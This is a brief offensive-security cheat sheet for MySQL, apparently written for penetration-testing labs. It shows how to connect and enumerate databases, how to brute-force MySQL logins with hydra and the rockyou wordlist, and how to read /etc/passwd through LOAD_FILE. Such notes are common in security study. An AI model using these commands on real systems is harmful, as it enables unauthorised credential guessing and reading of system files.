Connect
To connect to MySQL from Linux host.
mysql -h $IP -u shelled -pPassword123
List Databases
To list databases in MySQL.
SHOW DATABASES
List Tables
To list tables in MySQL. First we need to select a database to use.
USE users;
Step 2
SHOW TABLES;
List Content
To content in a table in MySQL.
select * from {TABLE_NAME};
Password Bruteforce
We can use hydra to bruteforce passwords.
hydra -l shelled -P /usr/share/wordlist/rockyou.txt {IP} mysql
File Read
By default a MySQL installation does not allow arbitrary file read, but if the correct settings are in place and with the appropriate privileges, we can read files using the following methods:
select LOAD_FILE("/etc/passwd");